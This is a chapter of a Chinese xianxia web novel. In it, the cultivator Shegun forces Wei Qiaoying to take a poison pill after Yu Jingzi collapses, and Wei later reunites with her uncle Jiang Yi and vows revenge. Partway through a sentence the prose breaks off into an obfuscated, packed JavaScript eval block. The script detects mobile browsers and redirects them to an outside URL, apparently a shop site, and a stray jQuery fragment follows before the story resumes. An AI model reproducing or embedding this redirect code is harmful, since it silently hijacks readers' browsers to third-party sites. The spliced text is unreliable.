46. 第四十三章 卫氏遗孤

作品:《人间乌龙

    烛火微弱,社君坐在床边,一张脸半明半暗,让人看不清他的神色。


    他一言不发地担着玉京子的胳膊,双指并拢搭在她的手腕上,仔细感受指尖传来的脉搏。


    好半晌,社君才发出一声叹息。


    “玉修士她怎么样?”蒋义立刻出声询问。


    “应是一路劳累又淋了雨,所以寒气侵体,浑身无力以致晕厥。并无大碍,稍加休息就好。”


    “那就好那就好。”蒋义稍稍安下心来,若是云霄宫的修士在他的驿馆出了什么事,这个罪责他是万万担不起的。


    社君将玉京子的手臂放回她身侧,“玉儿需要静养,可能要在黄粱驿多留两日,这期间就有劳蒋大人。”


    “哪里的话,云霄宫的修士宿在黄粱驿,是我等的荣幸!”


    屋子里又安静下来,蒋义想起几人还没吃饭,便开口道,“做好的饭菜我就让人放在厨房,几位想吃随时差人去热一下便可。”


    见这男修一直盯着昏睡的玉京子看,想必是没心情吃饭的,蒋义也就不再多言。他弯腰退出房间,还不忘将房门关上。


    卫巧莹就站在连廊拐角处,见蒋义出来,才从暗影中现身。


    她站在玉京子门前,抬起手想要敲门,又在手指即将落下的时候停住。


    事情因她而起,她应该进去看看的,可是她又不通医理,进去了又能做什么呢?


    正在她犹豫不定时,屋子里传出社君的声音,“进来吧。”


    屋内昏暗,刚刚蒋义只来得及点燃床前和桌上的两盏烛火,照明的最远处也不过床榻。


    卫巧莹心里不安,进了屋子几乎是躲着光亮走,从桌子后面绕过,站在床脚处远远地看着榻上的玉京子。


    “我的身份,邬黑是怎么说的?”社君背对着卫巧莹幽幽开口。


    “他…义兄说您是他的主人,他的命、他的一切都是您给的,您是……”


    社君开口打断,“如此你便知道,你的命也是我给的,我能救你,就能杀你。”


    卫巧莹这一刻有些绝望,社君的话冰冷又直白,今日种种让她毫不怀疑社君会真的杀了她。


    难道自己的报仇之路还没开始就要结束了吗?


    不!


    卫巧莹膝盖一软,跪在地上,急切地解释,“社君大人,今晚姐姐的话,我……我从来没有那样想过!义兄冒死救我已是大恩,又保护我养育我,我怎么会恨他呢?我……”


    她语无伦次,不知道究竟该说些什么才能让社君相信她的忠心。


    “姐姐?你太看得起自己了。”


    无力感席卷而来,几乎将她击碎。


    她知道了,自己说什么都是没用的,社君想杀她不是因为别的,只是因为玉京子晕倒了,只是因为玉京子因为她晕倒了。


    地板潮湿冰冷,跪久了膝盖难免受不住,可是卫巧莹却浑然不觉,只是安静地跪在原地,等待着命运的审判。


    不知是不是被打晕的缘故,玉京子即使失去意识,眉头也紧紧地皱在一起,社君盯着看了半天,才伸手将她眉心抚平。


    看到玉京子的睡颜变得安宁,社君的唇角也勾起一个不易察觉的弧度。


    又想起身后还跪在地上的卫巧莹,他从内兜里掏出一个做工精巧的红木小盒,往后随手一抛,盒子正好落在卫巧莹身前。


    “吃了。”


    卫巧莹捡起来,打开发现里面只有一枚红得发紫的丹药。


    “大人…我…”眼泪不受控制地聚集起来,冲出眼眶,卫巧莹手抖得厉害。


    “死不了,赶紧吃吧。”


    卫巧莹的大脑已经无法思考,但是她知道社君没必要骗她,于是她一狠心,闭上眼睛,快速地将丹药放到嘴里,又咬紧牙关一鼓作气将其吞下。


    丹药入口即化,苦得要命,咽下去之后连呼吸都带着苦味。舌头被苦味麻痹,连带着大脑都变得麻木。她再也支撑不住自己的身体,单手扶地,脑袋无力地垂下。


    “此药服下之后,需每十日服用一次解药,若不及时服下解药,便会肠穿肚烂,痛苦而死。”


    社君毫无感情的声音传进她的耳朵里,她却是动也没动,经历今日的大起大落,她只觉疲惫,实在无力做出反应。


    ‘只是需要十日服一次解药而已,算不得什么的。’卫巧莹在心里安慰自己。


    “玉儿善良又心软,今日那些话是绝不会从她嘴里说出来的,若是她醒过来想起今日所言,恐怕心里会比你痛苦百倍。”


    社君鼻头发酸,看向玉京子的眼神里也满是心疼。


    “今日之事蹊跷,你可有觉出什么异常?”


    卫巧莹一直低垂着的脑袋轻轻摇了摇,声音艰涩,“我不知道…”


    丹药入腹,苦涩过后,喉间又腥又辛,她一边吐字一边吞咽,这才压制住自己干呕的欲-望。


    “玉儿和你说话时,你神情呆滞,是何缘故?”


    “我……”卫巧莹本来想说不知道,但是突然想起什么,登时将头抬了起来,狠狠吞咽一下后,喘着粗气开口,“我当时觉得玉大人的眼睛好亮,好像要把我吸进去,我什么也看不到,只能看到那双眼睛!”


    卫巧莹眼珠微动,回忆起当时的情况,“我也听不见别的,耳朵里只有大人的声音,大人的话好像有回声一般一直在我脑袋里转,我甚至无法思考,就…就好像那根本不是大人在说话,而是我在自言自语!”


    说得太急,卫巧莹咳嗽两声,而后又继续开口,“大人离我越近,那眼睛就越亮,声音也越大。可是大人的眼睛一闭上,一切又都回归平静了。大人一倒下,我立刻就听到了雨声,又感觉到了眼睛干涩,眼睛闭上好久才缓过来。”


    社君越听越心惊,他与玉京子相识百年,深知那双眼睛只是一双普通的蛇瞳,根本没有卫巧莹口中那种蛊惑人心的能力。


    但他仍抱有一丝侥幸,玉儿这次下山收获不少,也许是觉醒了某种力量,以至于这双眼睛都变得不一般了呢?


    思及此,他伸手扒开玉京子的眼皮,咬着嘴唇,伸长脖子去看。


    是竖瞳,还因为昏迷有些黯淡,他又赶紧将眼皮合上。


    社君怕卫巧莹觉出不对,传扬出去,清了清嗓子,“我暂且相信此事与你无关……但是你也不无辜。”


    “是你的算计让玉儿心神震荡,才让歹人钻了空子。这丹药只是小惩大戒,若是之后再因你起任何事端…不光是你,邬黑没尽到教养之责,我亦不会轻易放过!”


    卫巧莹看着坐在床榻边的社君的背影,心里百感交集,但是她能做的只有臣服。


    于是她将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17031793|188055||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    双手交叠放到地上,脑袋重重砸下。她不知该说些什么,只能稽首以示忠心。


    卫巧莹不知自己是如何走出那间屋子的,只觉头脑发晕、脚步沉重。


    思绪万千仍觉脑中一片空白,她浑浑噩噩,不知该走向何处。


    不知不觉中,竟又走回上厅。


    蒋义坐在她之前坐过的那张桌子,见她出现立刻起身相迎。


    若是没发生刚刚的事,见到蒋义等她,她应是满心欢喜的。


    可如今,她已知前路艰险,自己百无一是,又该如何面对蒋义呢?


    “小姐…”蒋义在离她两步远的地方站定,试探性地喊了一句。


    卫巧莹看着眼前不再年轻张扬,甚至连脊背都有些弯曲的男人,强撑起一个笑脸,“十年未见,叔父别来无恙。”


    “小姐!”蒋义扑通一声跪倒在地,眼睛通红,泪水夺眶而出,急促地呼吸着,肩膀的起伏也越来越大。


    卫巧莹见此也难以抑制内心的汹涌的情绪,在眼泪再一次掉落之前,跪到蒋义面前,二人相拥而泣。


    长久以来的痛苦压抑都在此刻爆发,二人的眼泪几乎要汇成一条小河。


    哀思如潮,恨与念交织在一起,在河里挣扎成奔腾的浪花,河水裹挟着每日的煎熬不断向前,恨不能让巨浪拍碎那冤天屈地的罪名,恨不能让潮水吞噬那刻骨崩心的仇恨。


    二人默契地压抑着哭声,上厅安静,只能听见廊外的大雨,殊不知,厅内也曾短暂地下过一场小雨,细密的、潮湿的、不为人知的。


    “小姐,我对不起你,对不起大哥,对不起少将军……”蒋义抽泣着,一字一顿地说道。


    卫巧莹今天掉了太多眼泪,如今眼睛已是涩痛难忍,但她还是瞪着眼睛和蒋义对视,一脸正色地说道,“叔父,你能活着,就已经对得起所有人了。”


    蒋义狼狈地避开卫巧莹的视线,“小姐…我…我生不如死啊!”


    “无愧于心之人生不如死,丧尽天良之人还痛快的活着,叔父,没有这样的道理!”卫巧莹说得用力,连脖颈的青筋都凸-起可见。


    “是啊,我没有一日是不恨的,我每每想起都恨不能生啖其肉,每日夜里,我都能梦到大哥当年的死状啊!”蒋义闭着眼睛,五官都皱在一起,满脸痛苦。


    卫巧莹死死地咬着嘴唇,尝到血腥味也没有松开。


    好半晌,她才开口,“叔父,他们不会再逍遥几日了,我此行就是去有利的,偷生十年,只待今朝。”


    蒋义闻言,睁开眼睛,眼里闪过希冀的光,又很快消散,“小姐…你可知那仇人……”


    “我知道!”卫巧莹声音坚定,“我知道,我从不敢忘,我每日都想着他,只盼着能在当夜梦里杀他一次!杀其十年,现在只盼着老天开眼,能让他真的死于我手下!”


    “可是仅凭你我二人,想杀他简直是天方夜谭啊。”


    “不管多难,我都得试试啊。”


    卫巧莹松开攥着蒋义肩膀的手,右手三指并拢朝上,表情决绝。


    “我卫巧莹早已立誓千次,不惜一切代价手刃仇敌,若不报此仇,我无颜面对卫氏祖辈,将以发覆面,自刎于闹市,遭曝尸于荒野!”


    一道白光射入上厅,照出卫巧莹满脸倔强,随即惊雷乍响,雨声渐停。